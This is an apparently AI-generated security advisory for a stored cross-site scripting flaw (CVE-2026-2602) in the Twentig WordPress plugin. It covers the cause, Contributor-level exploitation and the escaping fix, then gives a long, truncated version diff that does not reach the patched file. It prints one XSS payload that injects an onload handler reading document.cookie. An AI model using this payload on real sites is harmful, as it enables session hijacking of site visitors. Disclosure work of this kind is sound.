Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 28, 2026

CVE-2026-2602: Twentig <= 1.9.7 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'featuredImageSizeWidth' (twentig)

CVE ID CVE-2026-2602
Plugin twentig
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.9.7
Patched Version 2.0
Disclosed March 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2602:
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Twentig WordPress plugin versions up to and including 1.9.7. The vulnerability exists in the plugin’s handling of the ‘featuredImageSizeWidth’ parameter, allowing Contributor-level or higher authenticated attackers to inject malicious scripts that execute when a user views a compromised page. The CVSS score of 6.4 reflects the moderate impact requiring authentication but enabling persistent script execution.

Atomic Edge research identifies the root cause in the file `twentig/inc/blocks/post-featured-image.php`. The vulnerable function `twentig_filter_post_featured_image_block` processes block attributes without proper sanitization. Specifically, the function retrieves the `featuredImageSizeWidth` attribute from the block’s attributes array and directly outputs it into the HTML `style` attribute without validation or escaping. The code path involves the `render_block` filter hook that processes the `core/post-featured-image` block, where user-controlled width values flow unsanitized into the rendered page.

Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker creates or edits a post containing a Post Featured Image block. They inject a malicious payload into the `featuredImageSizeWidth` parameter via the block editor’s attribute settings. A typical payload would close the `style` attribute and inject a JavaScript event handler, such as `100px;” onload=”alert(document.cookie)//`. When the post is saved and subsequently viewed by any user, the injected script executes in the victim’s browser context.

The patch adds proper output escaping using `esc_attr()` around the `featuredImageSizeWidth` value. In the patched version, line 59 of `twentig/inc/blocks/post-featured-image.php` changes from directly outputting the attribute value to wrapping it with `esc_attr($width_attr)`. This ensures any HTML special characters are converted to their entity equivalents, preventing the attribute value from breaking out of the `style` attribute context. The fix maintains the functionality while neutralizing script injection attempts.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of logged-in users viewing the malicious post. This can lead to session hijacking, administrative actions performed on behalf of users, content modification, or redirection to malicious sites. Since the XSS is stored, the payload persists and executes for all users who view the compromised page, amplifying the impact beyond a single request.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/twentig/dist/blocks/button/view.asset.php
+++ b/twentig/dist/blocks/button/view.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('@wordpress/interactivity'), 'version' => '1d08482c3dd40db963a0', 'type' => 'module');
--- a/twentig/dist/blocks/gallery/view.asset.php
+++ b/twentig/dist/blocks/gallery/view.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('@wordpress/interactivity'), 'version' => '67af92bc0d582ebd1706', 'type' => 'module');
--- a/twentig/dist/blocks/template-part/view.asset.php
+++ b/twentig/dist/blocks/template-part/view.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('@wordpress/interactivity'), 'version' => '9afd96133fc6584379e1', 'type' => 'module');
--- a/twentig/dist/blocks/video/view.asset.php
+++ b/twentig/dist/blocks/video/view.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('@wordpress/interactivity'), 'version' => 'dfd5e30c08217a3852fc', 'type' => 'module');
--- a/twentig/dist/index.asset.php
+++ b/twentig/dist/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-token-list', 'wp-url'), 'version' => 'd5575cd466f335729583');
+<?php return array('dependencies' => array('react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-primitives', 'wp-token-list', 'wp-url'), 'version' => 'ce811dae13b4fcbf7a9a');
--- a/twentig/inc/block-patterns.php
+++ b/twentig/inc/block-patterns.php
@@ -11,7 +11,8 @@
  * Registers the block pattern categories.
  */
 function twentig_register_block_pattern_categories() {
-	register_block_pattern_category( 'posts', array( 'label' => _x( 'Posts', 'Block pattern category', 'default' ) ) );
+	// Categories using 'default' text domain intentionally reuse WordPress core translations.
+	register_block_pattern_category( 'posts', array( 'label' => esc_html_x( 'Posts', 'Block pattern category', 'default' ) ) );
 	register_block_pattern_category( 'text', array( 'label' => esc_html_x( 'Text', 'Block pattern category', 'default' ) ) );
 	register_block_pattern_category( 'text-image', array( 'label' => esc_html_x( 'Text and Image', 'Block pattern category', 'twentig' ) ) );
 	register_block_pattern_category( 'hero', array( 'label' => esc_html_x( 'Hero', 'Block pattern category', 'twentig' ) ) );
@@ -29,8 +30,8 @@
 	register_block_pattern_category( 'pricing', array( 'label' => esc_html_x( 'Pricing', 'Block pattern category', 'twentig' ) ) );
 	register_block_pattern_category( 'faq', array( 'label' => esc_html_x( 'FAQs', 'Block pattern category', 'twentig' ) ) );
 	register_block_pattern_category( 'events', array( 'label' => esc_html_x( 'Events, Schedule', 'Block pattern category', 'twentig' ) ) );
-	register_block_pattern_category( 'page', array( 'label' => _x( 'Pages', 'Block pattern category', 'default' ) ) );
-	register_block_pattern_category( 'page-single', array( 'label' => _x( 'Single Pages', 'Block pattern category', 'twentig' ) ) );
+	register_block_pattern_category( 'page', array( 'label' => esc_html_x( 'Pages', 'Block pattern category', 'default' ) ) );
+	register_block_pattern_category( 'page-single', array( 'label' => esc_html_x( 'Single Pages', 'Block pattern category', 'twentig' ) ) );
 }
 add_action( 'init', 'twentig_register_block_pattern_categories', 9 );

@@ -220,9 +221,9 @@

 			foreach ( $font_sizes as $old_size => $new_size ) {
 				$content = str_replace( ""fontSize":"$old_size"", ""fontSize":"$new_size"", $content );
-				$formatted_old_size = preg_replace('/([a-zA-Z])(d)/', '$1-$2', $old_size);
-				$formatted_new_size = preg_replace('/([a-zA-Z])(d)/', '$1-$2', $new_size);
-				$content = str_replace("has-$formatted_old_size-font-size", "has-$formatted_new_size-font-size", $content);
+				$formatted_old_size = preg_replace( '/([a-zA-Z])(d)/', '$1-$2', $old_size );
+				$formatted_new_size = preg_replace( '/([a-zA-Z])(d)/', '$1-$2', $new_size );
+				$content = str_replace( "has-$formatted_old_size-font-size", "has-$formatted_new_size-font-size", $content );
 			}
 			break;
 	}
--- a/twentig/inc/block-presets.php
+++ b/twentig/inc/block-presets.php
@@ -16,13 +16,14 @@

 	$classes = array(

-		'core/paragraph'             => array(
+		'core/paragraph'             => array(
 			'tw-text-balance'         => __( 'Apply balanced text wrapping.', 'twentig' ),
 			'tw-text-pretty'          => __( 'Apply pretty text wrapping.', 'twentig' ),
-			'tw-text-shadow'          => __( 'Add shadow to text.', 'twentig' ),
-			'tw-text-gradient'        => __( 'Apply background gradient to text.', 'twentig' ),
 			'tw-link-hover-underline' => __( 'Underline link only on hover.', 'twentig' ),
 			'tw-link-no-underline'    => __( 'Remove underline from link.', 'twentig' ),
+			'tw-text-shadow'          => __( 'Add shadow to text.', 'twentig' ),
+			'tw-text-gradient'        => __( 'Apply background gradient to text.', 'twentig' ),
+			'tw-whitespace-nowrap'    => __( 'Prevent text from wrapping.', 'twentig' ),
 			'tw-highlight-padding'    => __( 'Add padding to the highlighted text’s background.', 'twentig' ),
 			'tw-md-text-left'         => __( 'Align text left on tablet and mobile.', 'twentig' ),
 			'tw-md-text-center'       => __( 'Align text center on tablet and mobile.', 'twentig' ),
@@ -34,10 +35,13 @@
 		'core/heading'               => array(
 			'tw-text-balance'          => __( 'Apply balanced text wrapping.', 'twentig' ),
 			'tw-text-pretty'           => __( 'Apply pretty text wrapping.', 'twentig' ),
-			'tw-text-shadow'           => __( 'Add shadow to text.', 'twentig' ),
-			'tw-text-gradient'         => __( 'Apply background gradient to text.', 'twentig' ),
+			'tw-text-wrap'             => __( 'Reset text wrapping to default.', 'twentig' ),
 			'tw-link-hover-underline'  => __( 'Underline link only on hover.', 'twentig' ),
 			'tw-link-no-underline'     => __( 'Remove underline from link.', 'twentig' ),
+			'tw-link-hover-fade'       => __( 'Fade link on hover.', 'twentig' ),
+			'tw-text-shadow'           => __( 'Add shadow to text.', 'twentig' ),
+			'tw-text-gradient'         => __( 'Apply background gradient to text.', 'twentig' ),
+			'screen-reader-text'       => __( 'Visually hide the block, but make it available for screen readers.', 'twentig' ),
 			'tw-highlight-padding'     => __( 'Add padding to the highlighted text’s background.', 'twentig' ),
 			'tw-md-text-left'          => __( 'Align text left on tablet and mobile.', 'twentig' ),
 			'tw-md-text-center'        => __( 'Align text center on tablet and mobile.', 'twentig' ),
@@ -49,8 +53,10 @@
 		'core/post-title'            => array(
 			'tw-text-balance'         => __( 'Apply balanced text wrapping.', 'twentig' ),
 			'tw-text-pretty'          => __( 'Apply pretty text wrapping.', 'twentig' ),
+			'tw-text-wrap'            => __( 'Reset text wrapping to default.', 'twentig' ),
 			'tw-link-hover-underline' => __( 'Underline link only on hover.', 'twentig' ),
 			'tw-link-no-underline'    => __( 'Remove underline from link.', 'twentig' ),
+			'tw-link-hover-fade'      => __( 'Fade link on hover', 'twentig' ),
 			'tw-text-shadow'          => __( 'Add shadow to text.', 'twentig' ),
 			'tw-text-gradient'        => __( 'Apply background gradient to text.', 'twentig' ),
 			'tw-md-text-left'         => __( 'Align text left on tablet and mobile.', 'twentig' ),
@@ -60,6 +66,12 @@
 			'tw-sm-text-center'       => __( 'Align text center on mobile.', 'twentig' ),
 			'tw-sm-text-right'        => __( 'Align text right on mobile.', 'twentig' ),
 		),
+		'core/pullquote'            => array(
+			'tw-text-balance' => __( 'Apply balance text wrapping.', 'twentig' ),
+		),
+		'core/quote'                => array(
+			'tw-text-balance' => __( 'Apply balance text wrapping.', 'twentig' ),
+		),
 		'core/list'                  => array(
 			'has-text-align-center'   => __( 'Align text center.', 'twentig' ),
 			'tw-list-spacing-medium'  => __( 'Set a medium spacing between the list items.', 'twentig' ),
@@ -129,6 +141,10 @@
 			'tw-sm-justify-center' => __( 'Justify items center on mobile.', 'twentig' ),
 			'tw-sm-justify-end'    => __( 'Justify items from the end on mobile.', 'twentig' ),
 		),
+		'core/button'               => array(
+			'tw-lightbox-dark' => __( 'Apply a dark theme to the lightbox.', 'twentig' ),
+			'tw-lightbox-full' => __( 'Display the video in a full-screen lightbox.', 'twentig' ),
+		),
 		'core/social-links'          => array(
 			'tw-md-justify-start'  => __( 'Justify items from the start on tablet.', 'twentig' ),
 			'tw-md-justify-center' => __( 'Justify items center on tablet.', 'twentig' ),
@@ -173,10 +189,14 @@
 		'core/categories'            => array(
 			'tw-link-hover-underline' => __( 'Underline link only on hover.', 'twentig' ),
 			'tw-no-bullet'            => __( 'Remove bullet from list.', 'twentig' ),
+			'tw-list-spacing-medium'  => __( 'Set a medium spacing between the list items.', 'twentig' ),
+			'tw-list-spacing-loose'   => __( 'Set a loose spacing between the list items.', 'twentig' ),
 		),
 		'core/archives'              => array(
 			'tw-link-hover-underline' => __( 'Underline link only on hover.', 'twentig' ),
 			'tw-no-bullet'            => __( 'Remove bullet from list.', 'twentig' ),
+			'tw-list-spacing-medium'  => __( 'Set a medium spacing between the list items.', 'twentig' ),
+			'tw-list-spacing-loose'   => __( 'Set a loose spacing between the list items.', 'twentig' ),
 		),
 		'core/site-title'            => array(
 			'tw-link-hover-underline' => __( 'Underline link only on hover.', 'twentig' ),
@@ -205,6 +225,20 @@
 		'core/post-comments-form'    => array(
 			'tw-form-rounded' => __( 'Make the corners of the input and textarea rounded.', 'twentig' ),
 		),
+		'core/post-template'         => array(
+			'tw-alt-columns' => __( 'Alternate column sides on every other post.', 'twentig' ),
+			'tw-alt-spacer'  => __( 'Alternate spacer visibility on every other post to create an offset layout.', 'twentig' ),
+			'tw-alt-grid'    => __( 'Alternate between one and two grid columns.', 'twentig' ),
+		),
+		'core/navigation-submenu'    => array(
+			'tw-submenu-rounded'     => __( 'Make the corners rounded.', 'twentig' ),
+			'tw-submenu-shadow'      => __( 'Add shadow.', 'twentig' ),
+			'tw-submenu-noborder'    => __( 'Remove border.', 'twentig' ),
+			'tw-submenu-align-right' => __( 'Align submenu to the right of its parent.', 'twentig' ),
+		),
+		'core/accordion-heading'     => array(
+			'tw-no-underline' => __( 'Remove underline on hover.', 'twentig' ),
+		),
 	);

 	return apply_filters( 'twentig_block_classes', $classes );
--- a/twentig/inc/block-styles.php
+++ b/twentig/inc/block-styles.php
@@ -35,6 +35,15 @@
 	);

 	/* List */
+
+	register_block_style(
+		'core/list',
+		array(
+			'name'  => 'tw-square',
+			'label' => esc_html__( 'Square', 'twentig' ),
+		)
+	);
+
 	register_block_style(
 		'core/list',
 		array(
@@ -158,7 +167,7 @@
 		'core/separator',
 		array(
 			'name'  => 'tw-asterisks',
-			'label' => __( 'Asterisks', 'twentig' ),
+			'label' => esc_html__( 'Asterisks', 'twentig' ),
 		)
 	);

@@ -166,7 +175,7 @@
 		'core/separator',
 		array(
 			'name'  => 'tw-dotted',
-			'label' => __( 'Dotted', 'twentig' ),
+			'label' => esc_html__( 'Dotted', 'twentig' ),
 		)
 	);

@@ -174,7 +183,7 @@
 		'core/separator',
 		array(
 			'name'  => 'tw-dashed',
-			'label' => __( 'Dashed', 'twentig' ),
+			'label' => esc_html__( 'Dashed', 'twentig' ),
 		)
 	);

@@ -184,7 +193,7 @@
 		'core/tag-cloud',
 		array(
 			'name'  => 'tw-outline-rounded',
-			'label' => __( 'Rounded', 'twentig' ),
+			'label' => esc_html__( 'Rounded', 'twentig' ),
 		)
 	);

@@ -192,7 +201,7 @@
 		'core/tag-cloud',
 		array(
 			'name'  => 'tw-outline-pill',
-			'label' => __( 'Pill', 'twentig' ),
+			'label' => esc_html__( 'Pill', 'twentig' ),
 		)
 	);

@@ -200,7 +209,7 @@
 		'core/tag-cloud',
 		array(
 			'name'  => 'tw-plain',
-			'label' => __( 'Plain', 'twentig' ),
+			'label' => esc_html__( 'Plain', 'twentig' ),
 		)
 	);

@@ -208,7 +217,7 @@
 		'core/tag-cloud',
 		array(
 			'name'  => 'tw-list',
-			'label' => __( 'List', 'twentig' ),
+			'label' => esc_html__( 'List', 'twentig' ),
 		)
 	);

@@ -218,7 +227,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-outline',
-			'label' => __( 'Outline', 'twentig' ),
+			'label' => esc_html__( 'Outline', 'twentig' ),
 		)
 	);

@@ -226,7 +235,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-outline-rounded',
-			'label' => __( 'Rounded', 'twentig' ),
+			'label' => esc_html__( 'Rounded', 'twentig' ),
 		)
 	);

@@ -234,7 +243,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-outline-pill',
-			'label' => __( 'Pill', 'twentig' ),
+			'label' => esc_html__( 'Pill', 'twentig' ),
 		)
 	);

@@ -242,7 +251,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-hashtag',
-			'label' => __( 'Hashtag', 'twentig' ),
+			'label' => esc_html__( 'Hashtag', 'twentig' ),
 		)
 	);

@@ -250,7 +259,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-plain',
-			'label' => __( 'Plain', 'twentig' ),
+			'label' => esc_html__( 'Plain', 'twentig' ),
 		)
 	);

@@ -258,7 +267,7 @@
 		'core/post-terms',
 		array(
 			'name'  => 'tw-list',
-			'label' => __( 'List', 'twentig' ),
+			'label' => esc_html__( 'List', 'twentig' ),
 		)
 	);

@@ -267,7 +276,7 @@
 		'core/search',
 		array(
 			'name'  => 'tw-underline',
-			'label' => __( 'Underline', 'twentig' ),
+			'label' => esc_html__( 'Underline', 'twentig' ),
 		)
 	);

@@ -276,7 +285,7 @@
 		'core/post-navigation-link',
 		array(
 			'name'  => 'tw-nav-stack',
-			'label' => __( 'Stack', 'twentig' ),
+			'label' => esc_html__( 'Stack', 'twentig' ),
 		)
 	);

@@ -287,7 +296,7 @@
 		'core/query-pagination-numbers',
 		array(
 			'name'  => 'tw-square',
-			'label' => __( 'Square', 'twentig' ),
+			'label' => esc_html__( 'Square', 'twentig' ),
 		)
 	);

@@ -295,7 +304,7 @@
 		'core/query-pagination-numbers',
 		array(
 			'name'  => 'tw-rounded',
-			'label' => __( 'Rounded', 'twentig' ),
+			'label' => esc_html__( 'Rounded', 'twentig' ),
 		)
 	);

@@ -303,7 +312,7 @@
 		'core/query-pagination-numbers',
 		array(
 			'name'  => 'tw-circle',
-			'label' => __( 'Circle', 'twentig' ),
+			'label' => esc_html__( 'Circle', 'twentig' ),
 		)
 	);

@@ -311,7 +320,7 @@
 		'core/query-pagination-numbers',
 		array(
 			'name'  => 'tw-plain',
-			'label' => __( 'Plain', 'twentig' ),
+			'label' => esc_html__( 'Plain', 'twentig' ),
 		)
 	);

@@ -319,7 +328,7 @@
 		'core/query-pagination-previous',
 		array(
 			'name'  => 'tw-btn-square',
-			'label' => __( 'Square', 'twentig' ),
+			'label' => esc_html__( 'Square', 'twentig' ),
 		)
 	);

@@ -327,7 +336,7 @@
 		'core/query-pagination-previous',
 		array(
 			'name'  => 'tw-btn-rounded',
-			'label' => __( 'Rounded', 'twentig' ),
+			'label' => esc_html__( 'Rounded', 'twentig' ),
 		)
 	);

@@ -335,7 +344,7 @@
 		'core/query-pagination-previous',
 		array(
 			'name'  => 'tw-btn-pill',
-			'label' => __( 'Pill', 'twentig' ),
+			'label' => esc_html__( 'Pill', 'twentig' ),
 		)
 	);

@@ -343,7 +352,7 @@
 		'core/query-pagination-next',
 		array(
 			'name'  => 'tw-btn-square',
-			'label' => __( 'Square', 'twentig' ),
+			'label' => esc_html__( 'Square', 'twentig' ),
 		)
 	);

@@ -351,7 +360,7 @@
 		'core/query-pagination-next',
 		array(
 			'name'  => 'tw-btn-rounded',
-			'label' => __( 'Rounded', 'twentig' ),
+			'label' => esc_html__( 'Rounded', 'twentig' ),
 		)
 	);

@@ -359,7 +368,15 @@
 		'core/query-pagination-next',
 		array(
 			'name'  => 'tw-btn-pill',
-			'label' => __( 'Pill', 'twentig' ),
+			'label' => esc_html__( 'Pill', 'twentig' ),
+		)
+	);
+
+	register_block_style(
+		'core/navigation-link',
+		array(
+			'name'  => 'tw-external-link',
+			'label' => esc_html__( 'External', 'twentig' ),
 		)
 	);

--- a/twentig/inc/block-themes.php
+++ b/twentig/inc/block-themes.php
@@ -1,57 +0,0 @@
-<?php
-/**
- * Additional functionalities for block themes.
- *
- * @package twentig
- */
-
-defined( 'ABSPATH' ) || exit;
-
-/**
- * Enqueue styles for block themes: spacing, layout.
- */
-function twentig_block_theme_enqueue_scripts() {
-	if ( twentig_theme_supports_spacing() ) {
-		wp_enqueue_style(
-			'twentig-global-spacing',
-			TWENTIG_ASSETS_URI . "/blocks/tw-spacing.css",
-			array(),
-			TWENTIG_VERSION
-		);
-	}
-}
-add_action( 'wp_enqueue_scripts', 'twentig_block_theme_enqueue_scripts', 11 );
-
-/**
- * Enqueue styles inside the editor.
- */
-function twentig_block_theme_editor_styles() {
-
-	$fse_blocks = array(
-		'columns',
-		'latest-posts',
-	);
-
-	foreach ( $fse_blocks as $block_name ) {
-		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/{$block_name}/block.css" );
-	}
-
-	if ( twentig_theme_supports_spacing() ) {
-		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/tw-spacing.css" );
-		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/tw-spacing-editor.css" );
-	}
-}
-add_action( 'admin_init', 'twentig_block_theme_editor_styles' );
-
-/**
- * Adds support for Twentig features.
- */
-function twentig_block_theme_support() {
-
-	if ( current_theme_supports( 'twentig-v2' ) ) {
-		return;
-	}
-
-	add_theme_support( 'tw-spacing' );
-}
-add_action( 'after_setup_theme', 'twentig_block_theme_support', 11 );
--- a/twentig/inc/blocks.php
+++ b/twentig/inc/blocks.php
@@ -7,7 +7,7 @@

 defined( 'ABSPATH' ) || exit;

-foreach ( (array) glob( wp_normalize_path( TWENTIG_PATH . '/inc/blocks/*.php' ) ) as $twentig_block_file ) {
+foreach ( (array) glob( wp_normalize_path( TWENTIG_PATH . 'inc/blocks/*.php' ) ) as $twentig_block_file ) {
 	require_once $twentig_block_file;
 }

@@ -22,18 +22,27 @@

 	wp_enqueue_style(
 		'twentig-blocks',
-		plugins_url( 'dist/' . $block_library_filename . '.css', dirname( __FILE__ ) ),
+		TWENTIG_ASSETS_URI . '/' . $block_library_filename . '.css',
 		array(),
 		$asset_file['version']
 	);

+	if ( ! current_theme_supports( 'twentig-theme' ) ) {
+		wp_enqueue_style(
+			'twentig-blocks-compat',
+			TWENTIG_ASSETS_URI . '/blocks/compat.css',
+			array(),
+			$asset_file['version']
+		);
+	}
+
 	if ( ! is_admin() ) {
 		return;
 	}

 	wp_enqueue_script(
 		'twentig-blocks-editor',
-		plugins_url( '/dist/index.js', dirname( __FILE__ ) ),
+		TWENTIG_ASSETS_URI . '/index.js',
 		$asset_file['dependencies'],
 		$asset_file['version'],
 		array( 'in_footer' => false )
@@ -46,26 +55,65 @@
 		'spacingSizes'   => function_exists( 'twentig_get_spacing_sizes' ) ? twentig_get_spacing_sizes() : array(),
 		'cssClasses'     => twentig_get_block_css_classes(),
 		'portfolioType'  => post_type_exists( 'portfolio' ) ? 'portfolio' : '',
+		'buttonIcons'    => twentig_get_icons(),
 	);

-	wp_localize_script( 'twentig-blocks-editor', 'twentigEditorConfig', $config );
+	wp_add_inline_script(
+		'twentig-blocks-editor',
+		'var twentigEditorConfig = ' . wp_json_encode( $config ) . ';',
+		'before'
+	);

 	wp_set_script_translations( 'twentig-blocks-editor', 'twentig' );

 	wp_enqueue_style(
 		'twentig-editor',
-		plugins_url( 'dist/index.css', dirname( __FILE__ ) ),
+		TWENTIG_ASSETS_URI . '/index.css',
 		array( 'wp-edit-blocks' ),
 		$asset_file['version']
 	);
+
+	$font_url = TWENTIG_ASSETS_URI . '/css/symbols.woff2';
+	$css = "@font-face{font-family:'Material Symbols';font-style:normal;font-weight:400;src:url('{$font_url}') format('woff2');}";
+	wp_add_inline_style( 'wp-block-library', $css );
 }
 add_action( 'enqueue_block_assets', 'twentig_block_assets' );

 /**
+ * Adds visibility classes to the global styles.
+ */
+function twentig_enqueue_class_styles() {
+	$breakpoints = apply_filters( 'twentig_breakpoints', array( 'mobile' => 768, 'tablet' => 1024 ) );
+	$mobile      = (int) ( $breakpoints['mobile'] ?? 768 );
+	$tablet      = (int) ( $breakpoints['tablet'] ?? 1024 );
+
+	$css = sprintf(
+		'@media (width < %1$dpx) { .tw-sm-hidden { display: none !important; }}' .
+		'@media (%1$dpx <= width < %2$dpx) { .tw-md-hidden { display: none !important; }}' .
+		'@media (width >= %2$dpx) { .tw-lg-hidden { display: none !important; }}',
+		$mobile,
+		$tablet
+	);
+
+	wp_add_inline_style( 'twentig-blocks', $css );
+}
+
+/**
  * Override block styles.
  */
 function twentig_override_block_styles() {

+	twentig_enqueue_class_styles();
+
+	if ( twentig_theme_supports_spacing() ) {
+		wp_enqueue_style(
+			'twentig-global-spacing',
+			TWENTIG_ASSETS_URI . "/blocks/tw-spacing.css",
+			array(),
+			TWENTIG_VERSION
+		);
+	}
+
 	if ( ! wp_should_load_separate_core_block_assets() || ! wp_is_block_theme() ) {
 		return;
 	}
@@ -73,7 +121,6 @@
 	// Override core blocks style.
 	$overridden_blocks = array(
 		'columns',
-		'gallery',
 		'media-text',
 		'post-template',
 		'latest-posts',
@@ -121,79 +168,35 @@
 add_action( 'init', 'twentig_enqueue_block_styles' );

 /**
- * Adds visibility classes to the global styles.
+ * Enqueue styles inside the editor.
  */
-function twentig_enqueue_class_styles() {
-	$breakpoints = apply_filters( 'twentig_breakpoints', array( 'mobile' => 768, 'tablet' => 1024 ) );
-	$mobile      = (int) ( $breakpoints['mobile'] ?? 768 );
-	$tablet      = (int) ( $breakpoints['tablet'] ?? 1024 );
+function twentig_block_theme_editor_styles() {

-	$css = sprintf(
-		'@media (width < %1$dpx) { .tw-sm-hidden { display: none !important; }}' .
-		'@media (%1$dpx <= width < %2$dpx) { .tw-md-hidden { display: none !important; }}' .
-		'@media (width >= %2$dpx) { .tw-lg-hidden { display: none !important; }}',
-		$mobile,
-		$tablet
+	$blocks = array(
+		'columns',
+		'latest-posts',
 	);

-	wp_add_inline_style( 'twentig-blocks', $css );
+	foreach ( $blocks as $block_name ) {
+		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/{$block_name}/block.css" );
+	}
+
+	if ( twentig_theme_supports_spacing() ) {
+		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/tw-spacing.css" );
+		add_editor_style( TWENTIG_ASSETS_URI . "/blocks/tw-spacing-editor.css" );
+	}
 }
-add_action( 'wp_enqueue_scripts', 'twentig_enqueue_class_styles' );
+add_action( 'admin_init', 'twentig_block_theme_editor_styles' );

 /**
- * Filters the blocks to add animation.
- *
- * @param string $block_content The block content about to be appended.
- * @param array  $block         The full block, including name and attributes.
- * @return string Modified block content with animation classes and attributes.
+ * Adds support for Twentig features.
  */
-function twentig_add_block_animation( $block_content, $block ) {
+function twentig_block_theme_support() {

-	if ( ! empty( $block['attrs']['twAnimation'] ) ) {
-
-		wp_enqueue_script(
-			'tw-block-animation',
-			plugins_url( '/dist/js/block-animation.js', dirname( __FILE__ ) ),
-			array(),
-			'1.0',
-			array(
-				'in_footer' => false,
-				'strategy'  => 'defer',
-			)
-		);
-
-		$attributes = $block['attrs'];
-		$animation  = $attributes['twAnimation'];
-		$duration   = $attributes['twAnimationDuration'] ?? '';
-		$delay      = $attributes['twAnimationDelay'] ?? 0;
-
-		$tag_processor = new WP_HTML_Tag_Processor( $block_content );
-		$tag_processor->next_tag();
-		$tag_processor->add_class( 'tw-block-animation' );
-		$tag_processor->add_class( sanitize_html_class( 'tw-animation-' . $animation ) );
-
-		if ( $duration ) {
-			$tag_processor->add_class( sanitize_html_class( 'tw-duration-' . $duration ) );
-		}
-
-		if ( $delay ) {
-			$style_attr = $tag_processor->get_attribute( 'style' );
-			$style      = '--tw-animation-delay:' . esc_attr( $delay ) . 's;' . $style_attr;
-			$tag_processor->set_attribute( 'style', esc_attr( $style ) );
-		}
-
-		return $tag_processor->get_updated_html();
+	if ( current_theme_supports( 'twentig-theme' ) || current_theme_supports( 'twentig-v2' ) ) {
+		return;
 	}

-	return $block_content;
-}
-add_filter( 'render_block', 'twentig_add_block_animation', 10, 2 );
-
-/**
- * Handles no JavaScript detection.
- * Adds a style tag element when no JavaScript is detected.
- */
-function twentig_support_no_script() {
-	echo "<noscript><style>.tw-block-animation{opacity:1;transform:none;clip-path:none;}</style></noscript>n";
+	add_theme_support( 'tw-spacing' );
 }
-add_action( 'wp_head', 'twentig_support_no_script' );
+add_action( 'after_setup_theme', 'twentig_block_theme_support', 11 );
--- a/twentig/inc/blocks/accordion.php
+++ b/twentig/inc/blocks/accordion.php
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Server-side customizations for the `core/accordion` block.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Filters the accordion block output.
+ *
+ * @param string $block_content Rendered block content.
+ * @param array  $block         Block object.
+ * @return string Filtered block content.
+ */
+function twentig_filter_accordion_block( $block_content, $block ) {
+	$icon_type = $block['attrs']['twIcon'] ?? '';
+	$show_icon = $block['attrs']['showIcon'] ?? true;
+
+	if ( empty( $icon_type ) || ! $show_icon ) {
+		return $block_content;
+	}
+
+	$tag_processor = new WP_HTML_Tag_Processor( $block_content );
+	if ( $tag_processor->next_tag( array( 'class_name' => 'wp-block-accordion' ) ) ) {
+		$tag_processor->add_class( 'tw-has-icon' );
+		$tag_processor->add_class( 'tw-icon-' . sanitize_html_class( $icon_type ) );
+		$block_content = $tag_processor->get_updated_html();
+
+		$icon = '<svg class="accordion-arrow" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="m12 15.4-6-6L7.4 8l4.6 4.6L16.6 8 18 9.4z"></path></svg>';
+
+		if ( 'plus' === $icon_type ) {
+			$icon = '<svg class="accordion-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path class="plus-vertical" d="M11 6h2v12h-2z"/><path d="M6 11h12v2H6z"/></svg>';
+		} elseif ( 'plus-circle' === $icon_type ) {
+			$icon = '<svg class="accordion-plus" xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" version="1.1" aria-hidden="true" focusable="false"><path d="M12 2c5.523 0 10 4.477 10 10s-4.477 10-10 10S2 17.523 2 12 6.477 2 12 2m0 1.75a8.25 8.25 0 1 0 0 16.5 8.25 8.25 0 0 0 0-16.5" /><path d="M11.125 7.5h1.75v9h-1.75z" class="plus-vertical" /><path d="M7.5 11.125h9v1.75h-9z" /></svg>';
+		}
+
+		$block_content = preg_replace(
+			'/(<span class="wp-block-accordion-heading__toggle-icon"[^>]*>)+(</span>)/',
+			'$1' . $icon . '$2',
+			$block_content
+		);
+	}
+
+	return $block_content;
+}
+add_filter( 'render_block_core/accordion', 'twentig_filter_accordion_block', 10, 2 );
--- a/twentig/inc/blocks/animation.php
+++ b/twentig/inc/blocks/animation.php
@@ -0,0 +1,69 @@
+<?php
+/**
+ * Server-side customizations for the core blocks.
+ *
+ * @package twentig
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+/**
+ * Filters the blocks to add animation.
+ *
+ * @param string $block_content The block content about to be appended.
+ * @param array  $block         The full block, including name and attributes.
+ * @return string Modified block content with animation classes and attributes.
+ */
+function twentig_add_block_animation( $block_content, $block ) {
+
+	if ( empty( $block['attrs']['twAnimation'] ) ) {
+		return $block_content;
+	}
+
